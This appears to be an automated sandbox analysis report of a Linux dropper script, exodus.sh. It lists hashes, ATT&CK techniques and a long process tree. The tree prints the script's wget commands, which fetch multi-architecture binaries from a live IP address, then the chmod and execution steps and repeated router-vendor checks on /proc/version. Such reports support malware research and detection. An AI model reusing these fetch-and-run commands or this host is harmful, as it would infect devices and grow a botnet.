913738ca6e5e394e41a9a243e07d7864bf4073fa6abbc780bc0d5c3fd0c4ab28

Analysis

max time kernel
13s
max time network
14s
platform
debian-9_armhf
resource
debian9-armhf-20260513-en
resource tags

arch:armhfimage:debian9-armhf-20260513-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
submitted
05/08/2026, 04:05

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
exodus.sh
Size 802B
Sample260805-env65avxcw
SHA256 913738ca6e5e394e41a9a243e07d7864bf4073fa6abbc780bc0d5c3fd0c4ab28
MD5 e5ec609a9b55791ff3c06948b285be34
SHA1 fa085d032972f145bd2b521cf42137e5cf9dd4e9
SHA512 6016c3e80da6ada652ffdc861826ab48cc0e020329fccffdaafbb2c65793027290730dd14d09f1fac46be20f75e8446836302c5fc28893d60a27e7dd80f9bc2a
TLSH
T14601A18926452972CFEC9B1CB8534CF0E08933C9E4D3067894A67CAA1D95B2CBD0BD0B
MD5 SHA1 SHA512 TLSH

Score

7^/10

antivm defense_evasion discovery execution

Malware Config

Signatures

File and Directory Permissions Modification 1 TTPs 1 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
768	chmod

Executes dropped EXE 11 IoCs

ioc	pid	Process
/tmp/mips	775	exodus.sh
/tmp/x86	774	exodus.sh
/tmp/mipsel	778	exodus.sh
/tmp/x32	777	exodus.sh
/tmp/arm7	779	exodus.sh
/tmp/sh4	785	exodus.sh
/tmp/arm6	791	exodus.sh
/tmp/ppc	793	exodus.sh
/tmp/m68k	796	exodus.sh
/tmp/arm4	802	exodus.sh
/tmp/arm5	804	exodus.sh

Checks CPU configuration 1 TTPs 4 IoCs

Checks CPU information which indicate if the system is a virtual machine.

antivm

System Checks

T1497.001

description	ioc	Process
File opened for reading	/proc/cpuinfo	arm7
File opened for reading	/proc/cpuinfo	arm6
File opened for reading	/proc/cpuinfo	arm4
File opened for reading	/proc/cpuinfo	arm5

Command and Scripting Interpreter: Unix Shell 1 TTPs 42 IoCs

Execute scripts via Unix Shell.

execution

Unix Shell

T1059.004

pid	Process
834	sh
846	sh
885	sh
1008	sh
1086	sh
1184	sh
1199	sh
1257	sh
889	sh
948	sh
1147	sh
1276	sh
1294	sh
862	sh
924	sh
936	sh
1033	sh
1122	sh
810	sh
909	sh
1210	sh
1238	sh
1285	sh
960	sh
971	sh
982	sh
1173	sh
822	sh
882	sh
1110	sh
1134	sh
1162	sh
1221	sh
1247	sh
1019	sh
1070	sh
850	sh
921	sh
994	sh
1046	sh
1058	sh
1098	sh

Reads runtime system information 64 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/version	cat
File opened for reading	/proc/version	cat
File opened for reading	/proc/version	cat
File opened for reading	/proc/version	cat
File opened for reading	/proc/version	cat
File opened for reading	/proc/version	cat
File opened for reading	/proc/version	cat
File opened for reading	/proc/version	cat
File opened for reading	/proc/version	cat
File opened for reading	/proc/version	cat
File opened for reading	/proc/version	cat
File opened for reading	/proc/version	cat
File opened for reading	/proc/version	cat
File opened for reading	/proc/version	cat
File opened for reading	/proc/version	cat
File opened for reading	/proc/version	cat
File opened for reading	/proc/version	cat
File opened for reading	/proc/version	cat
File opened for reading	/proc/version	cat
File opened for reading	/proc/version	cat
File opened for reading	/proc/version	cat
File opened for reading	/proc/version	cat
File opened for reading	/proc/version	cat
File opened for reading	/proc/version	cat
File opened for reading	/proc/version	cat
File opened for reading	/proc/version	cat
File opened for reading	/proc/version	cat
File opened for reading	/proc/version	cat
File opened for reading	/proc/version	cat
File opened for reading	/proc/version	cat
File opened for reading	/proc/version	cat
File opened for reading	/proc/version	cat
File opened for reading	/proc/version	cat
File opened for reading	/proc/version	cat
File opened for reading	/proc/version	cat
File opened for reading	/proc/version	cat
File opened for reading	/proc/version	cat
File opened for reading	/proc/version	cat
File opened for reading	/proc/version	cat
File opened for reading	/proc/version	cat
File opened for reading	/proc/version	cat
File opened for reading	/proc/version	cat
File opened for reading	/proc/version	cat
File opened for reading	/proc/version	cat
File opened for reading	/proc/version	cat
File opened for reading	/proc/version	cat
File opened for reading	/proc/version	cat
File opened for reading	/proc/version	cat
File opened for reading	/proc/version	cat
File opened for reading	/proc/version	cat
File opened for reading	/proc/version	cat
File opened for reading	/proc/version	cat
File opened for reading	/proc/version	cat
File opened for reading	/proc/version	cat
File opened for reading	/proc/version	cat
File opened for reading	/proc/version	cat
File opened for reading	/proc/version	cat
File opened for reading	/proc/version	cat
File opened for reading	/proc/version	cat
File opened for reading	/proc/version	cat
File opened for reading	/proc/version	cat
File opened for reading	/proc/version	cat
File opened for reading	/proc/version	cat
File opened for reading	/proc/version	cat

System Network Configuration Discovery 1 TTPs 4 IoCs

Adversaries may gather information about the network configuration of a system.

discovery

System Network Configuration Discovery

T1016

pid	Process
684	wget
693	wget
778	mipsel
775	mips

Writes file to tmp directory 11 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/sh4	wget
File opened for modification	/tmp/mips	wget
File opened for modification	/tmp/arm7	wget
File opened for modification	/tmp/arm6	wget
File opened for modification	/tmp/ppc	wget
File opened for modification	/tmp/m68k	wget
File opened for modification	/tmp/arm4	wget
File opened for modification	/tmp/arm5	wget
File opened for modification	/tmp/x86	wget
File opened for modification	/tmp/x32	wget
File opened for modification	/tmp/mipsel	wget

/tmp/exodus.sh
/tmp/exodus.sh
1⤵
- Executes dropped EXE
PID:654
- /usr/bin/wget
  wget http://94.154.43.236/bins/x86
  2⤵
  - Writes file to tmp directory
  PID:661
- /usr/bin/wget
  wget http://94.154.43.236/bins/x32
  2⤵
  - Writes file to tmp directory
  PID:683
- /usr/bin/wget
  wget http://94.154.43.236/bins/mips
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:684
- /usr/bin/wget
  wget http://94.154.43.236/bins/mipsel
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:693
- /usr/bin/wget
  wget http://94.154.43.236/bins/arm7
  2⤵
  - Writes file to tmp directory
  PID:712
- /usr/bin/wget
  wget http://94.154.43.236/bins/sh4
  2⤵
  - Writes file to tmp directory
  PID:731
- /usr/bin/wget
  wget http://94.154.43.236/bins/arm6
  2⤵
  - Writes file to tmp directory
  PID:733
- /usr/bin/wget
  wget http://94.154.43.236/bins/ppc
  2⤵
  - Writes file to tmp directory
  PID:734
- /usr/bin/wget
  wget http://94.154.43.236/bins/m68k
  2⤵
  - Writes file to tmp directory
  PID:753
- /usr/bin/wget
  wget http://94.154.43.236/bins/arm4
  2⤵
  - Writes file to tmp directory
  PID:766
- /usr/bin/wget
  wget http://94.154.43.236/bins/arm5
  2⤵
  - Writes file to tmp directory
  PID:767
- /bin/chmod
  chmod +x x86 x32 mips mipsel arm7 sh4 arm6 ppc m68k arm4 arm5
  2⤵
  - File and Directory Permissions Modification
  PID:768
- /tmp/mipsel
  ./mipsel
  2⤵
  - System Network Configuration Discovery
  PID:778
- /tmp/x86
  ./x86
  2⤵
  PID:774
- /tmp/mips
  ./mips
  2⤵
  - System Network Configuration Discovery
  PID:775
- /tmp/x32
  ./x32
  2⤵
  PID:777
- /tmp/arm7
  ./arm7
  2⤵
  - Checks CPU configuration
  PID:779
- - /bin/sh
    /bin/sh -c "cat /proc/version 2>/dev/null | grep -i tplink > /dev/null"
    3⤵
    - Command and Scripting Interpreter: Unix Shell
    PID:810
  - - /bin/cat
      cat /proc/version
      4⤵
      PID:811
  - - /bin/grep
      grep -i tplink
      4⤵
      PID:812
- - /bin/sh
    /bin/sh -c "cat /proc/version 2>/dev/null | grep -i zhone > /dev/null"
    3⤵
    - Command and Scripting Interpreter: Unix Shell
    PID:822
  - - /bin/cat
      cat /proc/version
      4⤵
      PID:824
  - - /bin/grep
      grep -i zhone
      4⤵
      PID:825
- - /bin/sh
    /bin/sh -c "cat /proc/version 2>/dev/null | grep -i fiber > /dev/null"
    3⤵
    - Command and Scripting Interpreter: Unix Shell
    PID:834
  - - /bin/cat
      cat /proc/version
      4⤵
      PID:836
  - - /bin/grep
      grep -i fiber
      4⤵
      PID:837
- - /bin/sh
    /bin/sh -c "cat /proc/version 2>/dev/null | grep -i tplink > /dev/null"
    3⤵
    - Command and Scripting Interpreter: Unix Shell
    PID:846
  - - /bin/cat
      cat /proc/version
      4⤵
      PID:847
  - - /bin/grep
      grep -i tplink
      4⤵
      PID:848
- - /bin/sh
    /bin/sh -c "cat /proc/version 2>/dev/null | grep -i zhone > /dev/null"
    3⤵
    - Command and Scripting Interpreter: Unix Shell
    PID:850
  - - /bin/cat
      cat /proc/version
      4⤵
      PID:857
  - - /bin/grep
      grep -i zhone
      4⤵
      PID:860
- - /bin/sh
    /bin/sh -c "cat /proc/version 2>/dev/null | grep -i fiber > /dev/null"
    3⤵
    - Command and Scripting Interpreter: Unix Shell
    PID:862
  - - /bin/cat
      cat /proc/version
      4⤵
      Reads runtime system information
      PID:869
  - - /bin/grep
      grep -i fiber
      4⤵
      PID:870
- - /bin/sh
    /bin/sh -c "cat /proc/version 2>/dev/null | grep -i tplink > /dev/null"
    3⤵
    - Command and Scripting Interpreter: Unix Shell
    PID:882
  - - /bin/grep
      grep -i tplink
      4⤵
      PID:884
  - - /bin/cat
      cat /proc/version
      4⤵
      Reads runtime system information
      PID:883
- - /bin/sh
    /bin/sh -c "cat /proc/version 2>/dev/null | grep -i zhone > /dev/null"
    3⤵
    - Command and Scripting Interpreter: Unix Shell
    PID:885
  - - /bin/grep
      grep -i zhone
      4⤵
      PID:887
  - - /bin/cat
      cat /proc/version
      4⤵
      PID:886
- - /bin/sh
    /bin/sh -c "cat /proc/version 2>/dev/null | grep -i fiber > /dev/null"
    3⤵
    - Command and Scripting Interpreter: Unix Shell
    PID:889
  - - /bin/cat
      cat /proc/version
      4⤵
      PID:896
  - - /bin/grep
      grep -i fiber
      4⤵
      PID:899
- - /bin/sh
    /bin/sh -c "cat /proc/version 2>/dev/null | grep -i tplink > /dev/null"
    3⤵
    - Command and Scripting Interpreter: Unix Shell
    PID:909
  - - /bin/cat
      cat /proc/version
      4⤵
      Reads runtime system information
      PID:911
  - - /bin/grep
      grep -i tplink
      4⤵
      PID:912
- - /bin/sh
    /bin/sh -c "cat /proc/version 2>/dev/null | grep -i zhone > /dev/null"
    3⤵
    - Command and Scripting Interpreter: Unix Shell
    PID:921
  - - /bin/grep
      grep -i zhone
      4⤵
      PID:923
  - - /bin/cat
      cat /proc/version
      4⤵
      Reads runtime system information
      PID:922
- - /bin/sh
    /bin/sh -c "cat /proc/version 2>/dev/null | grep -i fiber > /dev/null"
    3⤵
    - Command and Scripting Interpreter: Unix Shell
    PID:924
  - - /bin/cat
      cat /proc/version
      4⤵
      PID:925
  - - /bin/grep
      grep -i fiber
      4⤵
      PID:926
- - /bin/sh
    /bin/sh -c "cat /proc/version 2>/dev/null | grep -i tplink > /dev/null"
    3⤵
    - Command and Scripting Interpreter: Unix Shell
    PID:936
  - - /bin/cat
      cat /proc/version
      4⤵
      PID:938
  - - /bin/grep
      grep -i tplink
      4⤵
      PID:942
- - /bin/sh
    /bin/sh -c "cat /proc/version 2>/dev/null | grep -i zhone > /dev/null"
    3⤵
    - Command and Scripting Interpreter: Unix Shell
    PID:948
  - - /bin/cat
      cat /proc/version
      4⤵
      PID:950
  - - /bin/grep
      grep -i zhone
      4⤵
      PID:954
- - /bin/sh
    /bin/sh -c "cat /proc/version 2>/dev/null | grep -i fiber > /dev/null"
    3⤵
    - Command and Scripting Interpreter: Unix Shell
    PID:960
  - - /bin/cat
      cat /proc/version
      4⤵
      PID:961
  - - /bin/grep
      grep -i fiber
      4⤵
      PID:962
- - /bin/sh
    /bin/sh -c "cat /proc/version 2>/dev/null | grep -i tplink > /dev/null"
    3⤵
    - Command and Scripting Interpreter: Unix Shell
    PID:971
  - - /bin/cat
      cat /proc/version
      4⤵
      PID:974
  - - /bin/grep
      grep -i tplink
      4⤵
      PID:976
- - /bin/sh
    /bin/sh -c "cat /proc/version 2>/dev/null | grep -i zhone > /dev/null"
    3⤵
    - Command and Scripting Interpreter: Unix Shell
    PID:982
  - - /bin/cat
      cat /proc/version
      4⤵
      PID:986
  - - /bin/grep
      grep -i zhone
      4⤵
      PID:988
- - /bin/sh
    /bin/sh -c "cat /proc/version 2>/dev/null | grep -i fiber > /dev/null"
    3⤵
    - Command and Scripting Interpreter: Unix Shell
    PID:994
  - - /bin/cat
      cat /proc/version
      4⤵
      PID:997
  - - /bin/grep
      grep -i fiber
      4⤵
      PID:998
- - /bin/sh
    /bin/sh -c "cat /proc/version 2>/dev/null | grep -i tplink > /dev/null"
    3⤵
    - Command and Scripting Interpreter: Unix Shell
    PID:1008
  - - /bin/cat
      cat /proc/version
      4⤵
      Reads runtime system information
      PID:1014
  - - /bin/grep
      grep -i tplink
      4⤵
      PID:1016
- - /bin/sh
    /bin/sh -c "cat /proc/version 2>/dev/null | grep -i zhone > /dev/null"
    3⤵
    - Command and Scripting Interpreter: Unix Shell
    PID:1019
  - - /bin/cat
      cat /proc/version
      4⤵
      PID:1024
  - - /bin/grep
      grep -i zhone
      4⤵
      PID:1025
- - /bin/sh
    /bin/sh -c "cat /proc/version 2>/dev/null | grep -i fiber > /dev/null"
    3⤵
    - Command and Scripting Interpreter: Unix Shell
    PID:1033
  - - /bin/cat
      cat /proc/version
      4⤵
      PID:1036
  - - /bin/grep
      grep -i fiber
      4⤵
      PID:1037
- - /bin/sh
    /bin/sh -c "cat /proc/version 2>/dev/null | grep -i tplink > /dev/null"
    3⤵
    - Command and Scripting Interpreter: Unix Shell
    PID:1046
  - - /bin/cat
      cat /proc/version
      4⤵
      Reads runtime system information
      PID:1051
  - - /bin/grep
      grep -i tplink
      4⤵
      PID:1052
- - /bin/sh
    /bin/sh -c "cat /proc/version 2>/dev/null | grep -i zhone > /dev/null"
    3⤵
    - Command and Scripting Interpreter: Unix Shell
    PID:1058
  - - /bin/cat
      cat /proc/version
      4⤵
      Reads runtime system information
      PID:1063
  - - /bin/grep
      grep -i zhone
      4⤵
      PID:1064
- - /bin/sh
    /bin/sh -c "cat /proc/version 2>/dev/null | grep -i fiber > /dev/null"
    3⤵
    - Command and Scripting Interpreter: Unix Shell
    PID:1070
  - - /bin/grep
      grep -i fiber
      4⤵
      PID:1076
  - - /bin/cat
      cat /proc/version
      4⤵
      PID:1075
- - /bin/sh
    /bin/sh -c "cat /proc/version 2>/dev/null | grep -i tplink > /dev/null"
    3⤵
    - Command and Scripting Interpreter: Unix Shell
    PID:1086
  - - /bin/cat
      cat /proc/version
      4⤵
      Reads runtime system information
      PID:1088
  - - /bin/grep
      grep -i tplink
      4⤵
      PID:1089
- - /bin/sh
    /bin/sh -c "cat /proc/version 2>/dev/null | grep -i zhone > /dev/null"
    3⤵
    - Command and Scripting Interpreter: Unix Shell
    PID:1098
  - - /bin/cat
      cat /proc/version
      4⤵
      PID:1100
  - - /bin/grep
      grep -i zhone
      4⤵
      PID:1101
- - /bin/sh
    /bin/sh -c "cat /proc/version 2>/dev/null | grep -i fiber > /dev/null"
    3⤵
    - Command and Scripting Interpreter: Unix Shell
    PID:1110
  - - /bin/cat
      cat /proc/version
      4⤵
      Reads runtime system information
      PID:1112
  - - /bin/grep
      grep -i fiber
      4⤵
      PID:1113
- - /bin/sh
    /bin/sh -c "cat /proc/version 2>/dev/null | grep -i tplink > /dev/null"
    3⤵
    - Command and Scripting Interpreter: Unix Shell
    PID:1122
  - - /bin/cat
      cat /proc/version
      4⤵
      Reads runtime system information
      PID:1125
  - - /bin/grep
      grep -i tplink
      4⤵
      PID:1128
- - /bin/sh
    /bin/sh -c "cat /proc/version 2>/dev/null | grep -i zhone > /dev/null"
    3⤵
    - Command and Scripting Interpreter: Unix Shell
    PID:1134
  - - /bin/cat
      cat /proc/version
      4⤵
      Reads runtime system information
      PID:1137
  - - /bin/grep
      grep -i zhone
      4⤵
      PID:1140
- - /bin/sh
    /bin/sh -c "cat /proc/version 2>/dev/null | grep -i fiber > /dev/null"
    3⤵
    - Command and Scripting Interpreter: Unix Shell
    PID:1147
  - - /bin/grep
      grep -i fiber
      4⤵
      PID:1150
  - - /bin/cat
      cat /proc/version
      4⤵
      Reads runtime system information
      PID:1149
- - /bin/sh
    /bin/sh -c "cat /proc/version 2>/dev/null | grep -i tplink > /dev/null"
    3⤵
    - Command and Scripting Interpreter: Unix Shell
    PID:1162
  - - /bin/cat
      cat /proc/version
      4⤵
      Reads runtime system information
      PID:1164
  - - /bin/grep
      grep -i tplink
      4⤵
      PID:1166
- - /bin/sh
    /bin/sh -c "cat /proc/version 2>/dev/null | grep -i zhone > /dev/null"
    3⤵
    - Command and Scripting Interpreter: Unix Shell
    PID:1173
  - - /bin/grep
      grep -i zhone
      4⤵
      PID:1177
  - - /bin/cat
      cat /proc/version
      4⤵
      PID:1175
- - /bin/sh
    /bin/sh -c "cat /proc/version 2>/dev/null | grep -i fiber > /dev/null"
    3⤵
    - Command and Scripting Interpreter: Unix Shell
    PID:1184
  - - /bin/cat
      cat /proc/version
      4⤵
      PID:1188
  - - /bin/grep
      grep -i fiber
      4⤵
      PID:1190
- - /bin/sh
    /bin/sh -c "cat /proc/version 2>/dev/null | grep -i tplink > /dev/null"
    3⤵
    - Command and Scripting Interpreter: Unix Shell
    PID:1199
  - - /bin/cat
      cat /proc/version
      4⤵
      PID:1203
  - - /bin/grep
      grep -i tplink
      4⤵
      PID:1205
- - /bin/sh
    /bin/sh -c "cat /proc/version 2>/dev/null | grep -i zhone > /dev/null"
    3⤵
    - Command and Scripting Interpreter: Unix Shell
    PID:1210
  - - /bin/cat
      cat /proc/version
      4⤵
      Reads runtime system information
      PID:1214
  - - /bin/grep
      grep -i zhone
      4⤵
      PID:1216
- - /bin/sh
    /bin/sh -c "cat /proc/version 2>/dev/null | grep -i fiber > /dev/null"
    3⤵
    - Command and Scripting Interpreter: Unix Shell
    PID:1221
  - - /bin/cat
      cat /proc/version
      4⤵
      PID:1224
  - - /bin/grep
      grep -i fiber
      4⤵
      PID:1226
- - /bin/sh
    /bin/sh -c "cat /proc/version 2>/dev/null | grep -i tplink > /dev/null"
    3⤵
    - Command and Scripting Interpreter: Unix Shell
    PID:1238
  - - /bin/cat
      cat /proc/version
      4⤵
      Reads runtime system information
      PID:1242
  - - /bin/grep
      grep -i tplink
      4⤵
      PID:1243
- - /bin/sh
    /bin/sh -c "cat /proc/version 2>/dev/null | grep -i zhone > /dev/null"
    3⤵
    - Command and Scripting Interpreter: Unix Shell
    PID:1247
  - - /bin/cat
      cat /proc/version
      4⤵
      PID:1251
  - - /bin/grep
      grep -i zhone
      4⤵
      PID:1252
- - /bin/sh
    /bin/sh -c "cat /proc/version 2>/dev/null | grep -i fiber > /dev/null"
    3⤵
    - Command and Scripting Interpreter: Unix Shell
    PID:1257
  - - /bin/cat
      cat /proc/version
      4⤵
      PID:1259
  - - /bin/grep
      grep -i fiber
      4⤵
      PID:1262
- - /bin/sh
    /bin/sh -c "cat /proc/version 2>/dev/null | grep -i tplink > /dev/null"
    3⤵
    - Command and Scripting Interpreter: Unix Shell
    PID:1276
  - - /bin/cat
      cat /proc/version
      4⤵
      Reads runtime system information
      PID:1278
  - - /bin/grep
      grep -i tplink
      4⤵
      PID:1280
- - /bin/sh
    /bin/sh -c "cat /proc/version 2>/dev/null | grep -i zhone > /dev/null"
    3⤵
    - Command and Scripting Interpreter: Unix Shell
    PID:1285
  - - /bin/cat
      cat /proc/version
      4⤵
      Reads runtime system information
      PID:1287
  - - /bin/grep
      grep -i zhone
      4⤵
      PID:1290
- - /bin/sh
    /bin/sh -c "cat /proc/version 2>/dev/null | grep -i fiber > /dev/null"
    3⤵
    - Command and Scripting Interpreter: Unix Shell
    PID:1294
  - - /bin/grep
      grep -i fiber
      4⤵
      PID:1300
  - - /bin/cat
      cat /proc/version
      4⤵
      Reads runtime system information
      PID:1298
- /tmp/sh4
  ./sh4
  2⤵
  PID:785
- /tmp/arm6
  ./arm6
  2⤵
  - Checks CPU configuration
  PID:791
- - /bin/sh
    sh -c "cat /proc/version 2>/dev/null | grep -i tplink > /dev/null"
    3⤵
    PID:813
  - - /bin/grep
      grep -i tplink
      4⤵
      PID:817
  - - /bin/cat
      cat /proc/version
      4⤵
      PID:815
- - /bin/sh
    sh -c "cat /proc/version 2>/dev/null | grep -i zhone > /dev/null"
    3⤵
    PID:823
  - - /bin/cat
      cat /proc/version
      4⤵
      Reads runtime system information
      PID:827
  - - /bin/grep
      grep -i zhone
      4⤵
      PID:829
- - /bin/sh
    sh -c "cat /proc/version 2>/dev/null | grep -i fiber > /dev/null"
    3⤵
    PID:835
  - - /bin/cat
      cat /proc/version
      4⤵
      Reads runtime system information
      PID:840
  - - /bin/grep
      grep -i fiber
      4⤵
      PID:841
- - /bin/sh
    sh -c "cat /proc/version 2>/dev/null | grep -i tplink > /dev/null"
    3⤵
    PID:849
  - - /bin/grep
      grep -i tplink
      4⤵
      PID:854
  - - /bin/cat
      cat /proc/version
      4⤵
      Reads runtime system information
      PID:853
- - /bin/sh
    sh -c "cat /proc/version 2>/dev/null | grep -i zhone > /dev/null"
    3⤵
    PID:861
  - - /bin/grep
      grep -i zhone
      4⤵
      PID:866
  - - /bin/cat
      cat /proc/version
      4⤵
      PID:865
- - /bin/sh
    sh -c "cat /proc/version 2>/dev/null | grep -i fiber > /dev/null"
    3⤵
    PID:873
  - - /bin/cat
      cat /proc/version
      4⤵
      PID:876
  - - /bin/grep
      grep -i fiber
      4⤵
      PID:877
- - /bin/sh
    sh -c "cat /proc/version 2>/dev/null | grep -i tplink > /dev/null"
    3⤵
    PID:888
  - - /bin/cat
      cat /proc/version
      4⤵
      PID:892
  - - /bin/grep
      grep -i tplink
      4⤵
      PID:893
- - /bin/sh
    sh -c "cat /proc/version 2>/dev/null | grep -i zhone > /dev/null"
    3⤵
    PID:900
  - - /bin/grep
      grep -i zhone
      4⤵
      PID:904
  - - /bin/cat
      cat /proc/version
      4⤵
      Reads runtime system information
      PID:903
- - /bin/sh
    sh -c "cat /proc/version 2>/dev/null | grep -i fiber > /dev/null"
    3⤵
    PID:910
  - - /bin/cat
      cat /proc/version
      4⤵
      Reads runtime system information
      PID:915
  - - /bin/grep
      grep -i fiber
      4⤵
      PID:916
- - /bin/sh
    sh -c "cat /proc/version 2>/dev/null | grep -i tplink > /dev/null"
    3⤵
    PID:927
  - - /bin/cat
      cat /proc/version
      4⤵
      PID:930
  - - /bin/grep
      grep -i tplink
      4⤵
      PID:931
- - /bin/sh
    sh -c "cat /proc/version 2>/dev/null | grep -i zhone > /dev/null"
    3⤵
    PID:937
  - - /bin/cat
      cat /proc/version
      4⤵
      Reads runtime system information
      PID:941
  - - /bin/grep
      grep -i zhone
      4⤵
      PID:943
- - /bin/sh
    sh -c "cat /proc/version 2>/dev/null | grep -i fiber > /dev/null"
    3⤵
    PID:949
  - - /bin/cat
      cat /proc/version
      4⤵
      PID:951
  - - /bin/grep
      grep -i fiber
      4⤵
      PID:955
- - /bin/sh
    sh -c "cat /proc/version 2>/dev/null | grep -i tplink > /dev/null"
    3⤵
    PID:963
  - - /bin/grep
      grep -i tplink
      4⤵
      PID:965
  - - /bin/cat
      cat /proc/version
      4⤵
      Reads runtime system information
      PID:964
- - /bin/sh
    sh -c "cat /proc/version 2>/dev/null | grep -i zhone > /dev/null"
    3⤵
    PID:972
  - - /bin/cat
      cat /proc/version
      4⤵
      Reads runtime system information
      PID:975
  - - /bin/grep
      grep -i zhone
      4⤵
      PID:977
- - /bin/sh
    sh -c "cat /proc/version 2>/dev/null | grep -i fiber > /dev/null"
    3⤵
    PID:985
  - - /bin/cat
      cat /proc/version
      4⤵
      Reads runtime system information
      PID:987
  - - /bin/grep
      grep -i fiber
      4⤵
      PID:989
- - /bin/sh
    sh -c "cat /proc/version 2>/dev/null | grep -i tplink > /dev/null"
    3⤵
    PID:999
  - - /bin/grep
      grep -i tplink
      4⤵
      PID:1001
  - - /bin/cat
      cat /proc/version
      4⤵
      Reads runtime system information
      PID:1000
- - /bin/sh
    sh -c "cat /proc/version 2>/dev/null | grep -i zhone > /dev/null"
    3⤵
    PID:1002
  - - /bin/grep
      grep -i zhone
      4⤵
      PID:1004
  - - /bin/cat
      cat /proc/version
      4⤵
      PID:1003
- - /bin/sh
    sh -c "cat /proc/version 2>/dev/null | grep -i fiber > /dev/null"
    3⤵
    PID:1007
  - - /bin/cat
      cat /proc/version
      4⤵
      PID:1013
  - - /bin/grep
      grep -i fiber
      4⤵
      PID:1015
- - /bin/sh
    sh -c "cat /proc/version 2>/dev/null | grep -i tplink > /dev/null"
    3⤵
    PID:1026
  - - /bin/cat
      cat /proc/version
      4⤵
      Reads runtime system information
      PID:1029
  - - /bin/grep
      grep -i tplink
      4⤵
      PID:1030
- - /bin/sh
    sh -c "cat /proc/version 2>/dev/null | grep -i zhone > /dev/null"
    3⤵
    PID:1038
  - - /bin/grep
      grep -i zhone
      4⤵
      PID:1040
  - - /bin/cat
      cat /proc/version
      4⤵
      PID:1039
- - /bin/sh
    sh -c "cat /proc/version 2>/dev/null | grep -i fiber > /dev/null"
    3⤵
    PID:1041
  - - /bin/grep
      grep -i fiber
      4⤵
      PID:1043
  - - /bin/cat
      cat /proc/version
      4⤵
      PID:1042
- - /bin/sh
    sh -c "cat /proc/version 2>/dev/null | grep -i tplink > /dev/null"
    3⤵
    PID:1053
  - - /bin/cat
      cat /proc/version
      4⤵
      PID:1056
  - - /bin/grep
      grep -i tplink
      4⤵
      PID:1057
- - /bin/sh
    sh -c "cat /proc/version 2>/dev/null | grep -i zhone > /dev/null"
    3⤵
    PID:1065
  - - /bin/cat
      cat /proc/version
      4⤵
      Reads runtime system information
      PID:1068
  - - /bin/grep
      grep -i zhone
      4⤵
      PID:1069
- - /bin/sh
    sh -c "cat /proc/version 2>/dev/null | grep -i fiber > /dev/null"
    3⤵
    PID:1077
  - - /bin/cat
      cat /proc/version
      4⤵
      Reads runtime system information
      PID:1078
  - - /bin/grep
      grep -i fiber
      4⤵
      PID:1079
- - /bin/sh
    sh -c "cat /proc/version 2>/dev/null | grep -i tplink > /dev/null"
    3⤵
    PID:1087
  - - /bin/cat
      cat /proc/version
      4⤵
      Reads runtime system information
      PID:1090
  - - /bin/grep
      grep -i tplink
      4⤵
      PID:1091
- - /bin/sh
    sh -c "cat /proc/version 2>/dev/null | grep -i zhone > /dev/null"
    3⤵
    PID:1099
  - - /bin/cat
      cat /proc/version
      4⤵
      PID:1102
  - - /bin/grep
      grep -i zhone
      4⤵
      PID:1103
- - /bin/sh
    sh -c "cat /proc/version 2>/dev/null | grep -i fiber > /dev/null"
    3⤵
    PID:1111
  - - /bin/cat
      cat /proc/version
      4⤵
      PID:1114
  - - /bin/grep
      grep -i fiber
      4⤵
      PID:1115
- - /bin/sh
    sh -c "cat /proc/version 2>/dev/null | grep -i tplink > /dev/null"
    3⤵
    PID:1123
  - - /bin/cat
      cat /proc/version
      4⤵
      Reads runtime system information
      PID:1126
  - - /bin/grep
      grep -i tplink
      4⤵
      PID:1129
- - /bin/sh
    sh -c "cat /proc/version 2>/dev/null | grep -i zhone > /dev/null"
    3⤵
    PID:1135
  - - /bin/cat
      cat /proc/version
      4⤵
      Reads runtime system information
      PID:1138
  - - /bin/grep
      grep -i zhone
      4⤵
      PID:1141
- - /bin/sh
    sh -c "cat /proc/version 2>/dev/null | grep -i fiber > /dev/null"
    3⤵
    PID:1146
  - - /bin/cat
      cat /proc/version
      4⤵
      Reads runtime system information
      PID:1148
  - - /bin/grep
      grep -i fiber
      4⤵
      PID:1151
- - /bin/sh
    sh -c "cat /proc/version 2>/dev/null | grep -i tplink > /dev/null"
    3⤵
    PID:1161
  - - /bin/cat
      cat /proc/version
      4⤵
      Reads runtime system information
      PID:1163
  - - /bin/grep
      grep -i tplink
      4⤵
      PID:1165
- - /bin/sh
    sh -c "cat /proc/version 2>/dev/null | grep -i zhone > /dev/null"
    3⤵
    PID:1174
  - - /bin/cat
      cat /proc/version
      4⤵
      Reads runtime system information
      PID:1176
  - - /bin/grep
      grep -i zhone
      4⤵
      PID:1178
- - /bin/sh
    sh -c "cat /proc/version 2>/dev/null | grep -i fiber > /dev/null"
    3⤵
    PID:1183
  - - /bin/cat
      cat /proc/version
      4⤵
      PID:1186
  - - /bin/grep
      grep -i fiber
      4⤵
      PID:1189
- - /bin/sh
    sh -c "cat /proc/version 2>/dev/null | grep -i tplink > /dev/null"
    3⤵
    PID:1198
  - - /bin/cat
      cat /proc/version
      4⤵
      PID:1204
  - - /bin/grep
      grep -i tplink
      4⤵
      PID:1206
- - /bin/sh
    sh -c "cat /proc/version 2>/dev/null | grep -i zhone > /dev/null"
    3⤵
    PID:1211
  - - /bin/cat
      cat /proc/version
      4⤵
      Reads runtime system information
      PID:1215
  - - /bin/grep
      grep -i zhone
      4⤵
      PID:1217
- - /bin/sh
    sh -c "cat /proc/version 2>/dev/null | grep -i fiber > /dev/null"
    3⤵
    PID:1220
  - - /bin/cat
      cat /proc/version
      4⤵
      Reads runtime system information
      PID:1223
  - - /bin/grep
      grep -i fiber
      4⤵
      PID:1225
- - /bin/sh
    sh -c "cat /proc/version 2>/dev/null | grep -i tplink > /dev/null"
    3⤵
    PID:1237
  - - /bin/cat
      cat /proc/version
      4⤵
      PID:1241
  - - /bin/grep
      grep -i tplink
      4⤵
      PID:1244
- - /bin/sh
    sh -c "cat /proc/version 2>/dev/null | grep -i zhone > /dev/null"
    3⤵
    PID:1248
  - - /bin/cat
      cat /proc/version
      4⤵
      PID:1250
  - - /bin/grep
      grep -i zhone
      4⤵
      PID:1253
- - /bin/sh
